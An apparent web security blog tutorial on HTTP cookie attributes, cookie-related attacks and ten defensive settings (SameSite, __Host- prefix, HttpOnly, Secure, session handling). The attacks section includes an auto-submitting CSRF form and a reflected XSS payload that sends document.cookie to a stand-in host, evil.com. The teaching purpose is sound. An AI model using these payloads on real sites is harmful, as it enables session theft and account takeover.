Cookie Security: 10 Tips To Protect Your Web Application

Cookie Security: 10 Tips To Protect Your Web Application

Learn everything about HTTP cookie security, what are cookie-related attacks and how to defend against them.

I will assume that the reader is a developer, and use terms like "variable" and "property" to make things easier to understand. If the reader happens not to be a developer, I apologize.

You can read the original article here

Let's begin!

What Are Cookies?

An HTTP cookie is a variable that a website can set in a browser. Cookies are practically a key-value storage, but there are some additional properties in the Cookie class that you will learn about soon.

Usually, web servers set cookies via the Set-Cookie HTTP response header, like so.

Set-Cookie: SessionId=s3cr3t;

However it is also possible for a website to set cookies via JavaScript:

document.cookie = "SessionId=s3cr3t";

This is what a cookie looks like in the browser's cookie jar:

Name: "SessionId"
Value: s3cr3t"
Domain: "www.example.com"
ExpiresOrMaxAge: "Session"
HostOnly: true
HttpOnly: false
Path: "/"
SameSite: "None"
Secure: false

Browsers then send these cookies back to the webserver in the Cookie request header, like so:

Cookie: Foo=Bar; SessionId=s3cret;

Note that browsers only send the name and value of the cookies back to the webserver.

What Are Cookies Used For?

Cookies are used for many purposes, mostly tracking, personalization, and session management. In this article, we are mainly concerned with session management.

For instance, it's common for a web application to issue a session identifier cookie to users upon authentication.

Set-Cookie: SessionId=s3cr3t

Where Are Cookies Sent?

Cookies have four properties that affect their scope, that is, to which URL addresses the cookie gets sent. These are:

  • domain: To which domain, possibly including subdomains, should browsers send the cookie?
  • hostOnly: Should browsers only send the cookie to the exact domain that sets it, excluding subdomains?
  • path: To which URL paths (i.e., /foo/bar) should browsers send the cookie?
  • secure: Should browsers only send the cookie over encrypted channels (HTTPS, WSS) or also unencrypted (HTTP, WS)?

Who Can Set Cookies For A Website?

Any website can set cookies for:

  • Its domain.
  • Its parent domain (any of them except for TLD or public suffix).
  • By extension, but not directly, all subdomains of the parent domain.

For example, foo.example.com can set a cookie for .example.com, in which case browsers will also send the cookie to example.com and bar.example.com.

Specifying the domain is facilitated via the Domain property.

Can HTTP Websites Set Cookies on HTTPS Websites?

Yes. The scheme (e.g. http:// or https://) doesn't matter. Also, the port doesn't matter. For example, websites https://www.example.com:12345 and http://www.example.com share cookies.

Domain Property

This property determines which websites the cookie should be sent to, and defaults to the hostname of the website that sets the cookie.

If www.example.com is the one setting the cookie, then the domain will be www.example.com.

It is possible to change this value into, e.g. .www.example.com, after which browsers will send the cookie to www.example.com and all of its subdomains (foo.www.example.com, bar.www.example.com, etc.).

# Send the cookie to www.example.com and all subdomains of www.example.com
Set-Cookie: SessionId=s3cret; domain=.www.example.com

☝ Note

Even if you specify domain=www.example.com, the browser will silently change it to domain=.www.example.com.

A website can also scope a cookie to its parent domain, with the following limitations:

  • Scoping a cookie for a TLD (Top Level Domain) is not allowed.
  • Scoping a cookie for a public suffix is not allowed. Read more about the list here: public suffix list

If www.example.com scopes a cookie to .example.com, browsers will send the cookie to example.com and all its subdomains.

# Send the cookie to example.com and all subdomains of example.com
Set-Cookie: SessionId=s3cret; domain=.example.com

Setting the domain property will automatically flip the hostOnly boolean to false. Let's look at this property next.

HostOnly Property

The HostOnly property determines whether browsers should only send the cookie to the exact domain that created it. If it's false, browsers will also send the cookie to subdomains.

There is no manual configuration for HostOnly in the Set-Cookie header. It is always true unless you set the domain property, in which case it is always false.

# Here HostOnly is true
Set-Cookie: SessionId=s3cret;
# Here HostOnly is false
Set-Cookie: SessionId=s3cret; domain=www.example.com

Path Property

Developers can use the path property to limit the paths to which the cookie gets sent.

By setting the path to /foo/bar, browsers will only include the cookie in requests such as https://www.example.com/foo/bar or https://www.example.com/foo/bar/hello.

Browsers will not send it to https://www.eample.com/foo/barbars.

# Here, the cookie only gets sent to www.example.com/foo/bar and its subdirectories.
Set-Cookie: SessionId=s3cr3t; path=/foo/bar

There is a multitude of cookie-related security risks. Here are some of the most prominent ones:

CSRF (Cross-Site Request Forgery)

These vulnerabilities usually arise when a web application that uses cookies for session management fails to verify an HTTP POST request's origin.

Say, for example, that users could log in to AppSec Monkey and update their email addresses.

The backend code would perhaps look like this (at least if you use Django):

def update_email(request):
  new_email = request.POST['new_email']
  set_new_email(request.user, new_email)

Now let's say there's an evil website evil.example.com with the following HTML form and auto-submit script:

<form method="POST"  action="https://www.appsecmonkey.com/user/update-email/">
  <input type="hidden" name="new_email" value="evil@example.com" />
</form>
<script type="text/javascript">
  document.badform.submit();
</script>

When a user that is currently logged in to www.appsecmonkey.com enters the malicious website, the HTML form is auto-submitted on the user's behalf, and the following HTTP POST request gets immediately sent to www.appsecmonkey.com:

POST /user/update-email/ HTTP/1.1
Host: www.appsecmonkey.com
Cookie: SessionId=s3cr3t
...

new_email=evil@example.com

And the email address gets changed.

Notice how the SessionId cookie was included in the request, making the attack possible.

Read more about CSRF attacks here: CSRF Attacks & Prevention

XSS (Cross-Site Scripting)

XSS vulnerabilities arise when untrusted data gets interpreted as code in a web context. They can result from many programming mistakes, but here is a simple example.

Say, we have a PHP script like this.

echo "<p>Search results for: " . $_GET('search') . "</p>"

It is vulnerable because it generates HTML unsafely. The search parameter is not encoded correctly. An attacker can create a link such as the following, which would execute the attacker's JavaScript code on the website when the target opens it:

https://www.example.com/?search=<script>alert("XSS")</script>

Results in HTML like:

<p>Search results for: <script>alert("XSS")</script></p>

Now what the attacker can do, is change the alert("XSS") into something more nefarious. For example, the following IMG tag would take the logged in user's cookies and send them over to evil.com:

https://www.example.com/?search=<img src=x onerror="this.src='https://www.evil.com/collect?cookie='+document.cookie">

Note how the cookie was accessible to JavaScript code, making it possible to steal it. Note also how the cookie was sent in the GET request to https://www.example.com/search, making it possible to exploit the XSS vulnerability in the context of an authenticated user.

Read more about XSS attacks here: XSS Attacks & Prevention

XS-Leaks (Cross-Site Leaks)

XS-Leaks (or Cross-Site Leaks) are a set of browser side-channel attacks. They enable malicious websites to infer data from the users of other web applications.

For instance, evil.com could send a request to example.com on your behalf, and based on the response time, deduce what kind of content was returned to you.

var start = performance.now()

fetch('https://www.example.com', {
  mode: 'no-cors',
  credentials: 'include'
}).then(() => {
  var time = performance.now() - start;
  console.log("The request took %d ms.", time);
});

There are many, many more similar techniques and novel attacks using them. For this article's purposes, just notice that the timing attack was possible because the browser included the session cookie in the cross-site request.

Read more about XS-Leaks here: XS-Leaks Attacks & Prevention

Network Attacks

An attacker on the same network as the browser user can trivially intercept the network connection between the browser and the webserver. That's just how the network protocols work.

As such, developers and architects should not consider network medium a security control (encryption is a security control), but that's a rant for another day.

An attacker on the network can then force the target user's browser into making an unencrypted connection to http://www.example.com and then steal the session cookie from the request.

Notice how the session cookie, which was only supposed to be used on an HTTPS page, was transmitted over an unencrypted connection.

Network attacks can also be used to set or overwrite cookies. For example, the attacker could again force an unencrypted connection to the webserver and then forge a reply with a Set-Cookie header.

Set-Cookie: SessionId=123

The security implications of forcing a cookie into a user's browser vary.

A typical attack is session fixation. An attacker forces a session identifier into the target user's browser and then waits for the user to log in. The vulnerable web application fails to create a new session identifier on login. Instead, it authenticates the cookie already known to the attacker.

For our purposes here, observe how it was possible to set the cookie over an unencrypted connection.

Malicious Subdomains

Let's say you have safe.example.com and hacked.example.com.

The first way in which the hacked domain could attack your users' cookies is that you have for some reason specified the domain property and scoped your cookie to .example.com.

Now hacked.example.com only has to redirect your logged-in user to their website, and the cookies will be theirs.

The second way is that hacked.example.com sets or overwrites a cookie and scopes it to the domain .example.com. Now the cookie, which was set by hacked.example.com will be sent to safe.example.com. The security implications again differ for each application, but session fixation is a common threat.

Physical Attacks

A subsequent computer user can inspect the browser's memory, cache, cookies, storage, etc. after the previous user has left. Suppose there are valid session identifiers on the disk. In that case, the attacker can restore the session and log in as the previous computer user.

Attack Prerequisites

We have identified the following key requirements for various cookie-related attacks.

  • Browsers allow transmitting the cookie in cross-site requests.
  • Browsers allow JavaScript code to access the cookie.
  • Browsers send the cookie in unencrypted requests.
  • Browsers allow setting the cookie within unencrypted connections.
  • Browsers allow for subdomains to set the cookie.
  • Browsers allow for the cookie to persist upon browser sessions.
  • Webservers don't create a new session identifier upon authentication.
  • Webservers don't invalidate session identifiers upon logout.
  • Webservers don't adequately clear the cookies upon logout.

Let's now start looking into how we can deprive attackers of each of them, one by one.

SameSite Property

The first cookie security feature that we'll talk about is the SameSite property.

Remember how the prerequisite for many attacks (CSRF, XSS, some XS-Leaks) was that the browser includes the session cookie in cross-site requests? Well, that precisely is what SameSite prevents.

There are three modes in SameSite, depending on how strict you want the protection to be: Lax, Strict and None.

Generally, Lax is suitable for all applications, while Strict tends to be a better fit for security-critical systems.

SameSite Lax

The lax mode mitigates many XS-leaks, most CSRF, and also some XSS attacks. It does this by preventing the cookie from being included in cross-site requests, except for top-level navigation when the user clicks a link, gets redirected, opens a bookmark, etc.

Set-Cookie: SessionId=s3cr3t; SameSite=Lax; ...

SameSite Strict

The strict mode prevents even more XS-Leaks and CSRF attacks and is pretty good at blocking reflected XSS attacks. It doesn't allow for browsers to include the cookie even in top-level browsing. The strict mode will usually hurt UX and is not suitable for all applications.

Set-Cookie: SessionId=s3cr3t; SameSite=Strict; ...

SameSite None

None is just for opting out because SameSite=Lax is starting to be the default on newer browsers.

Set-Cookie: SessionId=s3cr3t; SameSite=None; Secure; ...

Read more about the SameSite property here: SameSite Cookies and Why They Are Awesome

__Host-prefix

The next cookie security feature on our list is the __Host prefix. This is not very widely known, but when it comes to cookies, name matters! Name your cookies __Host-Something, and web browsers will apply two significant restrictions on how webservers can set the cookie.

  1. Browsers will not allow setting the cookie over an unencrypted connection or without the Secure attribute.
  2. Browsers will not allow setting the domain property, forcing the cookie to be a hostOnly cookie (hence the prefix name).
Set-Cookie: __Host-SessionId=s3cr3t ...options...

The __Host-prefix defends against network attacks and malicious subdomains.

HttpOnly Property

One of the cookie security features is there specifically to protect against XSS, and that is the HttpOnly property.

This property will prevent JavaScript code from accessing the cookie, preventing an attacker from stealing it in the event of a successful XSS (Cross-Site Scripting) attack.

Set-Cookie: SessionId=s3cr3t; ...other options... HttpOnly

Secure cookies

Finally, the Secure property will prevent the cookie from being leaked over an (accidental or forced) unencrypted connection to the webserver. Browsers won't include cookies set with the Secure property in http:// or ws:// requests, only https:// and ws://.

Set-Cookie: SessionId=s3cr3t; ...other options... Secure

Handling User Login

To prevent the session fixation attacks mentioned above, you must always create a new session identifier for the user upon successful authentication. Never "make the old session id authenticated".

Expiration

By setting an expiration time for a cookie, browsers won't delete it before that time arrives, even if the user closes the browser.

Set-Cookie: SessionId=s3cr3t; Expires=Tue, 15 Feb 2021 08:00:00 GMT

As such, it's best not to set this property. Omitting Expires will make the cookie a session cookie in browser terminology, which means that the browser is much more likely to delete it when the browser closes.

I say "much more likely" because browsers can decide to keep the cookies on disk for "restore session" features.

Still, it's best to try, at least.

Clearing cookies

Webservers delete cookies by setting a new cookie with a dummy value such as "deleted" with an expiration time set to the past.


Set-Cookie: SessionId=deleted; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT

You can still do that. But you can also return the Clear-Site-Data header to instruct the browser to remove any cookies for your website.

Clear-Site-Data: "cookies"

In fact, the Clear-Site-Data can do much more:

Clear-Site-Data: "cookies", "cache", "storage", "executionContexts"

Read more about Clear-Site-Data here: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Clear-Site-Data

Handling User Logout

When the user logs out, in addition to clearing the cookies from the browser, you must invalidate the session identifier on the server-side.

This way, even if a cookie gets compromised after the user has logged out, that cookie no longer has any value to an attacker.

This is a reasonable secure cookie:

Set-Cookie: __Host-SessionId=s3cr3t; Secure; HttpOnly; SameSite=Lax; Path=/

This is as secure as we can currently get, but the SameSite=Strict may hurt user experience.

Set-Cookie: __Host-SessionId=s3cr3t; Secure; HttpOnly; SameSite=Strict; Path=/

Conclusion

There are quite a few cookie-related attacks, but luckily modern browsers provide us with mechanisms to mitigate them quite well.

  1. Name your cookies __Host-something to protect against network attacks and malicious subdomains.
  2. Omit the Domain property to protect against malicious subdomains.
  3. Set the SameSite property to either Lax or Strict to protect against XSS, CSRF, and XS-Leaks attacks.
  4. Set the HttpOnly property to protect the cookie from theft upon XSS attacks.
  5. Set the Secure property to protect the cookie from being leaked when targeted by network attacks.
  6. Create a fresh session cookie for your users upon authentication.
  7. Omit the Expires property when setting the cookie to instruct browsers to delete it after the browser closes. They won't always obey, but it's best to try, at least.
  8. Invalidate the session cookies on the server-side when the user logs out so that the cookie will not be useful to an attacker anymore.
  9. Clear the cookies by setting a dummy value and an expiration time in the past.
  10. Also clear the cookies and preferably the cache, storage, and executionContext as well by sending the Clear-Site-Data header upon logout.

Get the web security checklist spreadsheet!

Subscribe ☝️ Subscribe to AppSec Monkey's email list, get our best content delivered straight to your inbox, and get our 2021 Web Application Security Checklist Spreadsheet for FREE as a welcome gift!

Don't stop here

If you like this article, check out the other application security guides we have on AppSec Monkey as well.

Thanks for reading.